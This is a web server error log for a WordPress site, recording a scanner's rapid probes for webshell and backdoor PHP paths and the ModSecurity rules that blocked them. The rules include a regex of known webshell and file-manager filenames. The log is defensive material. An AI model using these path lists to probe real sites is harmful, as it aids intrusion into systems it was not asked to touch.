[Sat Feb 28 08:41:20.718751 2026] [proxy_fcgi:error] [pid 39183:tid 39210] [client 173.244.55.25:29385] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:21.158153 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.25:29385] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaI5sRCf4HvhVePw3LaaRwAAABY"]
[Sat Feb 28 08:41:22.028606 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.28:40665] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaI5shVE-FfM89u7BQaWjgAAAJI"]
[Sat Feb 28 08:41:24.257227 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.25:51707] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/file.php"] [unique_id "aaI5tH6mbajs3bzQGyuL_gAAAVg"]
[Sat Feb 28 08:41:25.597273 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.28:37307] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaI5tX6mbajs3bzQGyuMIwAAAVQ"]
[Sat Feb 28 08:41:26.472876 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.20:34907] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aaI5thVE-FfM89u7BQaWrQAAAI0"]
[Sat Feb 28 08:41:28.217213 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.31:30107] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/about.php"] [unique_id "aaI5uGuX5e1Q32gqxH0N7QAAAQ0"]
[Sat Feb 28 08:41:29.553168 2026] [proxy_fcgi:error] [pid 22194:tid 22209] [client 173.244.55.29:44357] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:30.434993 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.29:44357] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaI5un6mbajs3bzQGyuMtAAAAUc"]
[Sat Feb 28 08:41:31.322423 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.26:56019] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/index.php"] [unique_id "aaI5u6IAO5fN7BxyqcEibAAAAMg"]
[Sat Feb 28 08:41:33.094616 2026] [proxy_fcgi:error] [pid 39185:tid 39252] [client 173.244.55.22:43289] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:42.484769 2026] [:error] [pid 39292:tid 39316] [client 173.244.55.23:40187] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaI5xqIAO5fN7BxyqcEizQAAANY"]
[Sat Feb 28 08:41:43.371868 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.26:57317] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaI5x2uX5e1Q32gqxH0OVAAAAQM"]
[Sat Feb 28 08:41:44.713452 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 173.244.55.25:54987] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:45.156346 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.25:54987] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaI5yRVE-FfM89u7BQaXKQAAAI0"]
[Sat Feb 28 08:41:46.039918 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.25:22481] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaI5yn6mbajs3bzQGyuNiAAAAUU"]
[Sat Feb 28 08:41:47.349277 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.23:20923] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaI5yxVE-FfM89u7BQaXRAAAAIw"]
[Sat Feb 28 08:41:48.708528 2026] [proxy_fcgi:error] [pid 39292:tid 39309] [client 173.244.55.22:65011] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:49.151665 2026] [proxy_fcgi:error] [pid 39292:tid 39310] [client 173.244.55.22:65011] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:50.044326 2026] [proxy_fcgi:error] [pid 39292:tid 39307] [client 173.244.55.22:65011] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:50.935232 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.22:65011] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaI5zqIAO5fN7BxyqcEjjQAAAMI"]
[Sat Feb 28 08:41:51.828007 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.21:33659] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaI5z36mbajs3bzQGyuN6AAAAVg"]
[Sat Feb 28 08:41:52.723850 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.23:59359] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:53.170258 2026] [proxy_fcgi:error] [pid 22194:tid 22220] [client 173.244.55.23:59359] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:54.086460 2026] [proxy_fcgi:error] [pid 22194:tid 22220] [client 173.244.55.23:59359] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:54.529172 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.23:59359] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaI50n6mbajs3bzQGyuOJQAAAUA"]
[Sat Feb 28 08:41:55.410915 2026] [:error] [pid 39184:tid 39224] [client 173.244.55.31:54539] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaI501tZF9Zd_U7easB2_wAAAEU"]
[Sat Feb 28 08:41:56.293440 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.31:47929] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaI51KIAO5fN7BxyqcEj8wAAANc"]
[Sat Feb 28 08:41:58.945065 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.22:35893] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff2.php"] [unique_id "aaI51n6mbajs3bzQGyuOdQAAAVM"]
[Sat Feb 28 08:41:59.818059 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.31:38147] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff2.php"] [unique_id "aaI5136mbajs3bzQGyuOgAAAAUQ"]
[Sat Feb 28 08:42:00.707324 2026] [proxy_fcgi:error] [pid 39185:tid 39268] [client 173.244.55.29:43275] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:01.148607 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.29:43275] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaI52RVE-FfM89u7BQaXygAAAIs"]
[Sat Feb 28 08:42:02.463848 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.22:57367] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaI52hVE-FfM89u7BQaX2QAAAI4"]
[Sat Feb 28 08:42:03.351613 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 173.244.55.29:46661] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:03.796450 2026] [proxy_fcgi:error] [pid 39292:tid 39305] [client 173.244.55.29:46661] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:04.692124 2026] [proxy_fcgi:error] [pid 39292:tid 39306] [client 173.244.55.29:46661] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:06.461975 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.29:46661] [client 173.244.55.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "aaI53qIAO5fN7BxyqcEkjAAAAMU"]
[Sat Feb 28 08:42:06.931406 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.29:46661] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple/function.php"] [unique_id "aaI53qIAO5fN7BxyqcEkkQAAAMA"]
[Sat Feb 28 08:42:08.258045 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.25:46727] File does not exist: /home/agraphicscom/public_html/worm.PhP
[Sat Feb 28 08:42:08.709444 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.25:46727] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:09.151488 2026] [proxy_fcgi:error] [pid 22194:tid 22214] [client 173.244.55.25:46727] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:09.589125 2026] [proxy_fcgi:error] [pid 22194:tid 22219] [client 173.244.55.25:46727] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:10.028523 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.25:46727] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaI54n6mbajs3bzQGyuO9AAAAUI"]
[Sat Feb 28 08:42:12.853188 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.31:22677] [client 173.244.55.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaI55BVE-FfM89u7BQaYIQAAAI4"]
[Sat Feb 28 08:42:13.311449 2026] [proxy_fcgi:error] [pid 39185:tid 39259] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:14.207477 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:14.654203 2026] [proxy_fcgi:error] [pid 39185:tid 39259] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:15.555444 2026] [proxy_fcgi:error] [pid 39185:tid 39257] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:16.464173 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:17.808441 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 173.244.55.31:22677] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:20.912452 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.31:22677] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaI57BVE-FfM89u7BQaYcQAAAJA"]
[Sat Feb 28 08:42:21.803613 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 173.244.55.30:42321] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:22.247649 2026] [proxy_fcgi:error] [pid 39185:tid 39261] [client 173.244.55.30:42321] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:22.688990 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.30:42321] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/hello-element/footer.php"] [unique_id "aaI57hVE-FfM89u7BQaYigAAAJc"]
[Sat Feb 28 08:42:24.451463 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.23:37595] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:25.335729 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.23:37595] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:25.773955 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.23:37595] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:26.214249 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.23:37595] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaI58qIAO5fN7BxyqcElVwAAANc"]
[Sat Feb 28 08:42:27.530728 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 173.244.55.31:34081] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:27.973447 2026] [proxy_fcgi:error] [pid 39184:tid 39232] [client 173.244.55.31:34081] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:28.414163 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.31:34081] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaI59FtZF9Zd_U7easB4MgAAAFM"]
[Sat Feb 28 08:42:29.747827 2026] [proxy_fcgi:error] [pid 39292:tid 39306] [client 173.244.55.20:52717] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:30.192171 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.20:52717] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaI59qIAO5fN7BxyqcElnQAAAM4"]
[Sat Feb 28 08:42:32.005312 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.20:56895] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:32.892660 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.20:56895] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:35.227490 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.20:56895] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:35.664934 2026] [proxy_fcgi:error] [pid 11791:tid 11813] [client 173.244.55.20:56895] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:36.106630 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.20:56895] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:36.992965 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.20:56895] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaI5_GuX5e1Q32gqxH0QAgAAARM"]
[Sat Feb 28 08:42:37.877828 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 173.244.55.31:51605] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:39.847459 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 173.244.55.31:51605] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:40.286784 2026] [:error] [pid 39185:tid 39251] [client 173.244.55.31:51605] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaI6ABVE-FfM89u7BQaY5AAAAIU"]
[Sat Feb 28 08:42:41.622753 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.28:58439] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaI6AaIAO5fN7BxyqcEmSAAAANA"]
[Sat Feb 28 08:42:42.956533 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.23:56049] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:44.273530 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.23:56049] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaI6BH6mbajs3bzQGyuQvQAAAUs"]
[Sat Feb 28 08:42:45.169840 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 173.244.55.26:51201] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:45.647023 2026] [proxy_fcgi:error] [pid 11791:tid 11807] [client 173.244.55.26:51201] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:46.087306 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.26:51201] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaI6BmuX5e1Q32gqxH0QawAAAQU"]
[Sat Feb 28 08:42:46.980173 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.28:36733] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaI6BqIAO5fN7BxyqcEmpAAAANE"]
[Sat Feb 28 08:42:50.125295 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.29:27303] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "aaI6Cn6mbajs3bzQGyuRAwAAAVc"]
[Sat Feb 28 08:42:51.003452 2026] [proxy_fcgi:error] [pid 39292:tid 39317] [client 173.244.55.30:21785] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:51.888100 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.30:21785] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaI6C6IAO5fN7BxyqcEm-AAAANI"]
[Sat Feb 28 08:42:53.200277 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.29:22493] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaI6DRCf4HvhVePw3LabuwAAAAg"]
[Sat Feb 28 08:42:54.531469 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.23:28505] AH01071: Got error 'Primary script unknown'
